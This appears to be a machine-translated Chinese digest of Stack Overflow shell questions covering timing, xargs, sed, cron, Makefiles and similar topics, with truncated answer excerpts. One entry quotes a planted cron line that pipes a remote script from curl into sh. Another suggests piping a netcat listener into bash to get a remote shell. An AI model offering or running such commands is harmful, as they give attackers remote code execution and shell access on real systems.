打印shell命令的执行时间

是否可以使用以下组合打印shell命令的执行时间 root@hostname:~# "command to execute" && echo "execution time" 它还区分使用的实时时间和使用的系统时间。time是大多数shell中的内置命令,用于将执行时间信息写入tty 你也可以试试类似的东西 start_time=`date +%s` <command-to-execute> end_time=`date +%s` echo execution ti

Shell 如何修复&x201C;文件末尾没有换行符”;大量文件的警告?

我有大量的源文件,它们的结尾都没有换行符 如何自动在每一行的末尾添加换行符 有些可能已经有了换行符,因此只有在必要时才应该添加它 我可能不是在寻找代码本身,而是我可以在终端中运行的东西来添加必要的换行符(或某种编程或开发工具)。如果您可以访问Unix工具,您可以运行diff来找出哪些文件缺少换行符,然后将其追加: #!/bin/sh for i do if diff /dev/null "$i" | tail -1 | grep '^\\ No newline' > /dev/null

shell脚本将dec转换为十六进制

伙计们正在写一个shell脚本。这里我想把一个十进制数字转换成2位的十六进制值,例如,如果我给9,它必须giv为09。 我已经做了 对于{0..255}中的i;做 hexa=$(echo“obase=16;$i”| bc) 完成 但对于前10个vlaues,它返回一个单位数的十六进制值 现在我该怎么转换这个呢 提前感谢 您可以使用printf: $ printf "%02x\n" 12 0c 请参阅所选shell的手册。您可以使用printf: $ printf "%02x\n" 12 0

使用shell脚本创建包含某些内容的文件

我需要用几个文件配置一个服务器,并且我希望以编程方式进行配置 我需要创建文件,比如/home/a.config、/var/spool/b.config、/etc/c.config 上面的文件有一些内容(多行) 我想创建一个shell脚本,它可以用多行(大约10行)创建所有三个文件。 我想知道如何使用CAT命令来执行此操作。(内部shell脚本) 我看起来像这样 echo " going to create /home/a.config" cat "HOW CAN I HAVE MULTIPL

Shell awk使用中的问题

我解决不了这个问题。当我执行这个程序时,我得到以下错误 第7行:查找匹配“%1”时出现意外EOF 更新:来自其他最近关闭的问题 更具体地说,这是我的项目代码 if [ "$FORMAT" = "java" ]; then cat $INPUT_FILE | awk -F":" '\ /^$/ { print "" }\ /^\/\/.*/ { print " "$0}\ /:s

什么shell功能让你感到惊讶?

所以我以为我是个老混蛋,对他的Bourne/POSIX shell了如指掌。尽管如此,当我得知一个新特性时,有时我还是会感到惊讶。甚至在25年后也会发生。示例: case语句中模式的可选打开参数: case $foo in (bar) foobar;; (baz) foobaz;; esac 使我的vi%运动命令满意,因为括号现在是对称的 重定向可以出现在简单命令中的任何位置,而不仅仅出现在最后一个参数之后: >ls.out ls >wc.out wc <.p

shell编程语法错误意外单词“$';”r'';

我正在使用cygwin进行shell编程,这是我的第一个程序,我无法理解for循环中标题第4行提到的错误 ski=0 wski=1 rwski=950435 for (( i = 1; i < 77; i++ )) do if [ $i -lt 45] ; then dd if=3d.jpg ibs=1024 count=1 skip=$ski of=myimage.dd obs=1024 seek=$wski conv=notrunc

Shell 在Ubuntu中调试/etc/init.d启动脚本

有自定义的Drop消息队列轮询器,我正试图通过ubuntu中的/etc/init.d启动它。 所有3个脚本都是超级简单的一行程序,通过命令行可以完美地工作,但由于某些原因,只有一个脚本在服务器启动时真正工作。都有775次烫发,效果非常好: sudo /etc/init.d/app-poller.sh 下面是一个示例脚本(必须以www数据用户身份运行): 我已通过以下方式多次运行删除/重新输入inittab条目: updates-rc.d -f app-poller.sh remove upd

Shell Windows 7:属性处理程序在资源管理器中工作,但在FileOpenDialog中不工作?

正在为windows 7中的自定义文件类型编写自定义属性处理程序。我已经安装了Windows7SDK并构建了示例属性处理程序。注册处理程序后,它在Windows资源管理器中运行良好,但在“公用文件打开”对话框中,自定义值不会出现。有人知道我是否需要做一些特殊的事情来让属性显示在公共对话框中吗 探索者: 文件打开对话框: 好的,算了。这是交易。我的应用程序是32位的,我在x64系统上。因为PropertyHandler是用x64编写的,以支持进程外的shell。但对于文件打开对话框,它需要在进程

将lynx中的关键点映射为运行shell命令

是否可以向lynx(在配置文件~/.lynxrc中)添加一个自定义键映射,该键映射将信息(例如当前URL、html、标题等)发送到shell命令 一个示例用例: 我在OSX上,shell有一个命令open,它试图以默认方式打开任何给定给它的内容。因此,如果我在lynx中,希望将当前网页移动到默认浏览器,我希望从shell调用打开当前url 另一个: 通过向shell脚本(或其他内容)发送URL和标题来整理有组织的书签文件 使用默认的键映射打开默认的shell,但它既没有给我URL,也没有像我希望

Shell 使每一条线双倍于vim

我有一个如下所示的文件: file1 文件2 文件3 . . . 菲林 我想将其转换为: echo“file1” cat文件1 回显“文件2” cat文件2 . . . . 回声“文件” 猫锉 一种方法是使用for循环,读取原始文件的内容,然后将修改后的内容写入另一个文件,我这样做了,它成功了。在vim到:g或任何其他命令中是否有任何命令可以执行相同的操作?尝试以下操作: :%s/.*/echo "\0"\rcat \0/g 说明: :%s/a/b/g表示搜索整个文件并将a替换为b *表示

Shell 使用ksh脚本中添加的制表符/文本将输出写入文件

我正在编写一个KornShell(ksh)脚本,该脚本正在记录到一个文件中。我正在将我的一个命令(scp)的输出重定向到同一个文件,但如果可能的话,我想在日志文件中这些行的开头添加一个选项卡 这可能吗 编辑:我还应该提到,我重定向的文本来自stderr。我的线路目前如下所示: scp -q ${wks}:${file_location} ${save_directory} >> ${script_log} 2>&1 注意:以下内容不适用于ksh(有关可能的解决方案,请

Shell nslookup在变量中捕获stderr并显示

在shell脚本中,我正在对URL的数量运行nslookup 有时某些url返回无法解决错误。我需要在变量中捕获这些错误 下面是获取返回的ip地址的nslookup代码 output=$(nslookup "$URL" | grep Add | grep -v '#' | cut -f 3 -d ' ' | awk 'NR>1' ) 现在在同一个变量输出中,我想捕获错误 nslookup: can't resolve 我正在文件中捕获的标准数据 我尝试了不同版本的re-directio

Shell 使xargs处理包含空格的文件名

我的命令失败,因为文件“Lemon Tree.mp3”包含空格,所以xargs认为它是两个文件。我可以让find+xargs使用这样的文件名吗?试试看 $ ls *mp3 | xargs mplayer Playing Lemon. File not found: 'Lemon' Playing Tree.mp3. File not found: 'Tree.mp3' Exiting... (End of file) 而不是 find . -name \*.mp3

如何从Makefile使用shell内置函数?

我只是偶然发现了这个问题。我试图编写一个非常基本的Makefiletarget: core: myprogram ulimit -c 10000 ./myprogram ulimit -c 0 其思想是将内核大小限制设置为适当的值,使程序崩溃,然后将内核大小限制重置为零。调用此规则时,我收到以下错误消息: $ make core cc -Wall -Wextra -m32 -g -o example example.c ulimit -c 1

Shell 对字母数字多列进行排序

我尝试按字段1(忽略ccc)对该文件进行排序,如果相等,则按字段2作为数字进行排序: ccc1 4 cccY 1 cccY 5 cccX 2 cccX 10 ccc10 4 ccc1 10 ccc2 5 我正在以sort-t$'\t'-k1.4,1n-k2,2n的形式运行sort,但没有得到预期的输出: cccY 1 cccX 2 cccY 5 cccX 10 ccc1 4 ccc1 10 ccc2 5 c

如何确定是否有任何后台进程是在shell中完成的,以及它们经过的时间?

我有8个并行运行的后台进程(也是shell脚本),我将它们命名为run1.sh,run2.sh。。。因此,主要流程如下所示: #main.sh ./run1.sh & ./run2.sh & ./run3.sh & ... ./run8.sh & 我想确定这8个过程中的每一个是否都已完成,并计算每个过程完成时经过的时间。因此,先运行run1.sh并不能保证它会先完成。您可以尝试: #main.sh time ./run1.sh & time ./run2

Shell 在AIX中根密码到期时发出警报的脚本

我正试图在AIX中构建一个脚本,并计划将其作为cron作业运行。 我希望脚本检查根密码是否将在10天后过期,并触发电子邮件。我已经编写了一个脚本来触发邮件,但我不知道如何为root用户编写密码过期脚本 这是用于发送邮件的脚本 #!/bin/sh sendmail -t -F 'ABC ' -f 'abc@xyz.com' << test.mail From: ABC <abc@xyz.com> To: def@xyz.com Subject: Password expi

Shell脚本,用于打印与连续行上出现的模式匹配的行

我有大量大小巨大的文本文件,并且使用shell脚本,希望搜索每个文件以识别一个字符串,例如“&abcdef”(表示每个记录的结尾),并且仅当它出现在连续行中时才打印 输入文件内容file-a,其中一个文件的示例;还有其他类似但巨大的文件: 1239560059 TAB001 8E12222439 TAB001 84dswe6059 &abcdef 8229559179 &abcdef 8012156059 TAB001 804E122224

Shell 如何使GNU screen在每次创建新窗口时运行命令或脚本?

我正在尝试编写一个脚本,使call virtualenvwrapper的workon命令根据屏幕会话名称跳转到现有的virtualenv 我已经设法让它在会话启动时工作,但我希望每次创建窗口时都能运行命令,而我找不到钩子或类似的东西 屏幕是否允许每次在会话中创建窗口时都运行命令?尝试将逻辑放入~/.profile(如果使用deflogin on设置)或~/.mkshrc(或类似文件,取决于shell)文件中。大概是这样的: if test -n "$STY"; then # we

Shell 从现有文件创建新文件,但更改其扩展名

在shell中,复制现有目录中的文件以便得到相同的文件但扩展名不同的好方法是什么?比如说: path/view/blah.html.erb 并加入: path/view/blah.mobile.erb 因此,在路径/视图目录中,将有: path/view/blah.html.erb path/view/blah.mobile.erb 理想情况下,我希望在目录级别执行此操作,如果文件已经有两个扩展名,但这不是必需的,则不创建该文件。您可以执行以下操作: cd /path/view/ for

在shell脚本中从文件中提取字符串的一部分

我有一个文件如下 <SHORTCUT COMMENTS ="" DBDNAME ="xsxx_db2" FOLDERNAME ="XS_SHARED" NAME ="Shortcut_to_xx_CNTC_T" OBJECTSUBTYPE ="Source Definition" OBJECTTYPE ="SOURCE" REFERENCEDDBD ="xsxx_db2" REFERENCETYPE ="LOCAL" REFOBJECTNAME ="XSC_CLNT_CNTC_T" REP

Shell 使用Unix脚本将空格分隔符转换为逗号分隔符文件

我有一个带有空格分隔值的文件,我需要将其更改为逗号分隔值。但是我有一些字符串列,它们在“”中被引用(双引号),并且在字符串列中可能有空格。我需要抑制“,并需要使文件以,作为分隔符 请您使用Unix(shell)脚本帮助转换此文件,好吗 样本数据: abcd "Bala Chuppala" 1 200 "" "Norway" "" ? ? 9 88‏ ab "Joh Tanni S V S" 200 2 ? "Swiss" 1 100 200 ? abcd,Bala Chuppala

对make变量中的命令执行shell函数

在我的makefile中,我试图捕获对包含命令字符串的make变量的shell函数调用的输出,但没有成功。当我直接在字符串上运行shell函数时,它可以工作。我不明白在命令字符串上运行shell函数与在包含命令字符串的make变量上运行shell函数有什么区别 PG_CONFIG = "/usr/pgsql-9.4/bin/pg_config/" PG_INCLUDE1 = $(shell $$PG_CONFIG) PG_INCLUDE2 = $(shell /usr/pgsql-9.4/bi

shell脚本中的错误处理

我有以下shell脚本。如果文件夹中不存在文件,则会引发以下错误。那么,我们如何处理这个问题,使脚本不会停止执行 错误: mv: cannot stat `*': No such file or directory 脚本: for file in * do fl=$(basename "$file") flname="${fl%%.*}" gunzip "$file"

Shell 如何创建一个新文件,其中每一行都包含一些文本和带引号的行号/步骤号?

我想在创建一个新文件时使用循环,其中每一行都是通过一个/单个步骤创建的:一些文本,然后引用步骤编号,然后是其他内容。我从这段代码开始,但它不起作用: gawk ' { for (i = 1; i <= 1000; i++) print "begin\""i"\"text"i"end" # how to print a line break? >> "path/to/output.txt" }' 请帮助解决此问题。代码需要放在开始块中:

将shell命令输出分配给ROOT中的变量

我使用gSystem在根代码中执行一个shell命令,该命令返回一个int,如下所示。但是,当我尝试将输出分配给代码内变量时,分配不会发生 int low_edge = 0; low_edge = gSystem->Exec("ls ./folder | egrep -o '[0-9]{3,3}' | head -1"); 我也尝试过gSystem->Exec(“ls./folder | egrep-o'[0-9]{3,3}'| head-1”)>>low_edge,但没有成功 我是否遗

Jenkins shell无法从Seed DSL生成的作业中工作

Groovy、Closes和Jenkins的新成员 我创造了一份种子工作: def Job1 = 'FromTemplate-testJob' job { name Job1 steps { shell( "echo Hello > out5.txt" ) shell( "/c echo custard > op4.txt") } } 它按预期成功创建了包含2个shell命令的子作业: echo Hello > out5.t

使用ksh和执行unixshell脚本/

我试图循环浏览目录中的一组文件,并对它们执行某些活动。当我使用ksh执行脚本时,它会按预期工作。但是当我用./执行它时,它失败了,错误地说了太多的参数。请帮帮忙。 脚本名称:Script1 使用ksh Script1 argument1执行时,它会按预期工作。 但当使用/Script1 argument1执行时,抛出的参数太多,则会出错 #!/bin/bash cd ../SrcFiles if [ -e *$1* ] then for file in *$1* do echo $file i

Shell Can';t使用sed插入新行和制表符

无法使用sed插入新行和制表符 cat /etc/login.conf | sed -e 's|:umask=022:|:umask=022:\\\n:charset=UTF-8:|g' :umask=022:\\\n\t\t:charset=UTF-8:\\\n\t\t:lang=en_US.UTF-8: 由于某些sed版本不支持插入\n,您可以尝试使用literal$'\n'和$'\t'字符: cat /etc/login.conf | sed -e 's|:umask

Shell 如何为*nix命令行界面构建这样的UI?

我们如何为*nix命令提示创建这样的交互式UI?我在谷歌上搜索了很多,但我对结果很满意 “Unix/Linux命令行界面”,而不是关于如何为命令行构建这样的UI。 任何线索都会有帮助 看看ncurses 这可能就是你想要的看看网络课程 这可能就是你要找的

Shell 如何在接收端没有SSHD的情况下打开外壳?

我有一台没有SSHD的机器,我想从远程机器(我可以完全控制)打开这台机器上的bashshell 由于我在有限的机器上安装了SSH,因此我配置了一个反向代理: $ ssh -R 19999:localhost:22 remoteuser@remotemachine 现在我在端口19999上有一个从“完全控制”机器到“有限”机器的连接。如何使用此设置打开shell?您可以通过管道将输入从某个端口直接传输到bash。这是在软件中误用各种错误时的常见做法。例如,在完全访问计算机上运行: nc -lvp

调用cat时Shell脚本挂起

我有一个shell脚本,它通过crontasks将遇到的错误发送给我,如下所示: exec >&-; output="$(cat)"; shopt -s nocasematch if [[ "$output" == *"error"* || "$output" == *"warning"* ]]; then echo "$output" | mail -s "Error" my@email.com; fi exit 0; 我的crontab看起来像: */1 *

Shell Cron每天都找不到工作

我曾经有一个cron作业来运行数据库的每日备份: 00 3 * * * ~/bin/dbbackup.sh 当我在两天前检查它时,它丢失了,并且添加了一个新的cron作业(url): */60 * * * * curl https://<SOME_URL_POINTING _TO_SH_FILE> | sh */60****curl https://sh 所以我只是删除了cron作业(url),并用我的替换回来,因为我认为可能有人无意中删除了它或正在测试某些东西。但是第二天,

Powershell中的$ExecutionContext.SessionState.Path.CurrentLocation和$pwd有什么区别?

当我检查Powershell的提示功能时,我注意到,$ExecutionContext.SessionState.Path.CurrentLocation用于获取当前路径,因此它与$pwd之间有什么区别?$ExecutionContext.SessionState.Path.CurrentLocation和$pwd实际上有区别 当您使用$PWD时,实际上您将得到$ExecutionContext.SessionState.Path.CurrentLocation的结果 然而,如果您使用$Exec

计算shell变量中的项数

我有一个shell变量sampleDir: sampleDir=/home/sample* echo $sampleDir 将提供: /home/sample_001 /home/sample_002 /home/sample_003 (注意,示例_***下有子目录) 如果我想计算$sampleDir变量中的这些项目的数量,那么最好的方法是什么?(期望返回3)将变量存储在数组中: sampleDir=(/home/sample*) 使用参数展开获取阵列中的项目数: echo "${#sam

Shell 使用qdisc和tc的ipset带宽成形

我正在尝试使用ipset进行带宽控制。我修改了它以获得ipsetnames 这是我的手稿 TC=/sbin/tc IF=wlan0 # Interface DNLD=1mbit # DOWNLOAD Limit UPLD=1mbit # UPLOAD Limit IP1="myIPset1" # Host IP IP2="myIPset2" U32="$TC filter add dev $IF protocol ip pa

Shell 如何在配置单元脚本中传递多个参数

雇员: 我想通过运行配置单元脚本sample.hql获取2016年的记录 use octdb; select * from '${hiveconf:table}' where year = '${hiveconf:year}'; [cloudera@quickstart ~]$ hive -hiveconf table='employee', year=2016 -f sample.hql 但是我收到错误NoViableAltException(307@[])……您需要使用--hiveco

Shell 为什么不';“我需要通过考试”\&引用;{}\"&引用;在处理带有空格的文件名时是否要使用xargs?

我有以下问题: 我想使用xargs find结构来查找文件。 不同之处在于,我不想在中使用find作为command1,而是作为command2使用: command1 | xargs command2 如果文件名中有空格,则会出现问题 例如: 如果我正在尝试: echo 01.Here Comes The Night Time II.flac | xargs -pi find ~/Multimedia/Musik/flac/ -name "\""{}"\"" find ~/Multimed

Shell Cron作业-通过电子邮件发送的导出文件为空

我收到了来自以下CRON作业的电子邮件,但附带了一个空白文件。我已经检查了/home/XXXXXX/public_html/tmp/目录,在该/tmp/文件夹中创建了一个好的tqhsa_hikashop_order.txt文件,但我收到的电子邮件所附的文件是空的 mysql --database=XXXXXXXX_jml_6UCHadruwR8veju3 -u XXXXXXXX_8eh6Nu --password=fRa6r7wRerEtuzud -B -e "SELECT order_numb

在服务器中使用shell脚本生成.csv/.txt文件后,如何将.csv/.txt文件自动转换为.xls格式?

这里有一个abc.csv/abc.txt文件(将自动生成),我想在创建该文件后立即将其转换为abc.xls,并想使用shell脚本将该abc.xls文件自动附加到服务器(LINUX/UNIX)的邮件中。Excel可以读取csv文件。添加SEP=作为第一行作为一个sep。当您不需要时,不要尝试编写excel(版本为)。如果你真的想要一些excel魔术,请在excel中编写一些makro,并在客户机上安排新文件。也许这有助于:

Shell 在linux中使用sed命令在模式前后就地删除一行

我想删除模式“name:””前一行和模式(包括模式本身)后一行。我尝试了以下命令,但这不是修改文件本身。我想做就地改造。请帮忙 forward-zone: name: "." forward-addr: 10.1.1.2 forward-zone: name: "mydomain.com" forward-addr: 10.1.1.1 像这样的东西可能合适 sed -n '/name: "."/{N;s/.*//;x;d;};x;p;${x;p;}' file -i选项允许Sed就地修改文

在shell中执行名称中包含空格的python文件

我在目录里。文件名为“Ch2测验” 在conda提示符中,我正在键入: python测验Ch2.py 给出错误: python:无法打开文件'quick':[Errno 2]没有这样的文件或目录这不是python问题,更像是shell问题。您需要将“quick Ch2.py”作为一项传递给命令“python”作为其参数 通常,外壳将允许以下任何一种: python Quiz\ Ch2.py python 'Quiz Ch2.py' python "Quiz Ch2.py" 第一个使用\来转义空

在Jenkins Shell脚本中设置新的环境变量

我尝试了很多方法在jenkins中存储一个值。但我无法在Jenkins的Shell脚本中为变量赋值 首先,我设置了一个名为branch的环境变量,其值为*/release/hotfix 所以我试着用这个词,像这样保存在新的变量中 VALUE=$($branch | sed -e 's/\*\/.*\///g') 我做了这么多实验来保存价值。这行不通 在我的研究中,我找到了一种给变量赋值的方法,但是插件()可能不安全 为什么我不能将值保存到Jenkins shell中的变量?我该怎么做?我找到

Shell 在路径中查找唯一的文件名部分

我有一个文件夹,里面有一堆文件,格式为xxxxxx\u MMddyyHHmmss.json。我想找到唯一的xxxxxx组件,因为有些组件是在不同时间创建的副本 我引用了这个问题,但作为一个很少冒险进入Powershell的人,我无法让它工作 $result=Get ChildItem C:\Users\\Desktop\FileData\*-recurse-name-include*.json |%{$|.split(“|”)[0]|排序对象-唯一 但我不能让它实际执行。它只是在返回时转到下一

执行Shell命令直到成功

我正在使用Jenkins CLI安装文件中列出的Jenkins插件列表 但是,有些安装在第一次尝试时失败。重新尝试后,安装成功。 如何确保再次尝试调用CLI的命令 while read line; do xargs java -jar jenkins-cli.jar -s https://127.0.0.1:8443/ -noCertificationCheck install-plugin $line done < plugins.txt 读行时;做 xargs java-jar

  1    2   3   4   5   6  ... 下一页 最后一页 共 237 页